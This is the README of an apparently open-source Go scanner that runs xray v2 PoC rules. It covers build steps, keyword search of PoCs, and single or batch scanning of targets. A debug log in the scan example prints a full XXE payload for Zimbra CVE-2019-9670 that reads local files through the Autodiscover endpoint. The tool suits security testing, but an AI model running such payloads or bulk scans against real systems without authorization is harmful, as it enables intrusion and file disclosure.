Home

Awesome

简介

xray poc 发生了一次改版。导致之前的poc引擎不能使用。正好之前工作做过这方面的工作,重新写了一版xray poc v2版本的poc解析工具。

xray v2版格式:https://docs.xray.cool/#/guide/poc/v2

特此开源出来,希望能和研究这方面技术的师傅多交流。

使用

编译

go build -x -ldflags "-s -w" -o xray_poc

查看帮助

➜  xray-poc-scan-engine ./xray_poc                              
xray poc规则发生了一次变化,导致之前的poc扫描器不能使用,故重新写一版。
                        xray v2版本的poc规则:https://docs.xray.cool/#/guide/poc/v2

Usage:
  xray_poc [command]

Available Commands:
  completion  generate the autocompletion script for the specified shell
  help        Help about any command
  poc         xray_poc search poc查看模块
  scan        xray_poc scan poc扫描模块

Flags:
  -h, --help   help for xray_poc

Use "xray_poc [command] --help" for more information about a command.

poc模块

搜索某个poc。支持模糊匹配

如:./xray_poc poc --search "xxe"

➜  xray-poc-scan-engine ./xray_poc poc --search "xxe"
 #   Poc Name                                
--- -----------------------------------------
 0   poc-yaml-apache-ofbiz-cve-2018-8033-xxe 
 1   poc-yaml-solr-cve-2017-12629-xxe        
 2   poc-yaml-zimbra-cve-2019-9670-xxe 

搜索到所有关于xxe的poc

scan模块

扫描指定目标,使用指定pocName

如:./xray_poc scan --u "http://h11ba1.com" --poc "poc-yaml-zimbra-cve-2019-9670-xxe"

➜  xray-poc-scan-engine ./xray_poc scan --u "http://h11ba1.com" --poc "poc-yaml-zimbra-cve-2019-9670-xxe"
2022/02/18 - 15:19:48.501  ▶ [Debug] request:POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: h11ba1.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169

<!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:./" >]><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"><Request><EMailAddress>test@test.com</EMailAddress><AcceptableResponseSchema>&xxe;</AcceptableResponseSchema></Request></Autodiscover>
2022/02/18 - 15:19:48.515  ▶ [Debug] res false response.body.bcontains(b"zmmailboxd.out") && response.body.bcontains(b"Requested response schema not available")
2022/02/18 - 15:19:48.515  ▶ [Debug] poc:poc-yaml-zimbra-cve-2019-9670-xxe rule url:http://h11ba1.com/Autodiscover/Autodiscover.xml expression execute failed
#   target-url          poc-name                            status
--- ------------------- ----------------------------------- --------
0   http://h11ba1.com   poc-yaml-zimbra-cve-2019-9670-xxe   false

扫描指定目标,不指定poc,默认使用所有poc

如:./xray_poc scan --u "http://h11ba1.com"

批量扫描多个目标

如: ./xray_poc scan --f "test.txt" --poc "xxe"

 #   target-url          poc-name                                  status 
--- ------------------- ----------------------------------------- --------
 0   http://h11ba1.com   poc-yaml-apache-ofbiz-cve-2018-8033-xxe   false  
 1   http://h22ba2.com   poc-yaml-apache-ofbiz-cve-2018-8033-xxe   false  
 2   http://h11ba1.com   poc-yaml-zimbra-cve-2019-9670-xxe         false  
 3   http://h22ba2.com   poc-yaml-zimbra-cve-2019-9670-xxe         false

扫描结果成功 statustrue

TODO

本项目两三天赶工出来,肯定存在很多bug。师傅们发现可以给我提issues。有空肯定及时更新。

待完善模块:

[ ]增加proxy模块

[ ]完善dns反连功能

[ ]完善漏洞结果判断功能

[ ]优化结果显示功能

参考项目

https://github.com/jjf012/gopoc

免责声明

本项目只用于学习交流目的。

由于传播、利用该工具(下简称本工具)提供的检测功能而造成的任何直接或者间接的后果及损失,均由使用者本人负责,开发者 不为此承担任何责任。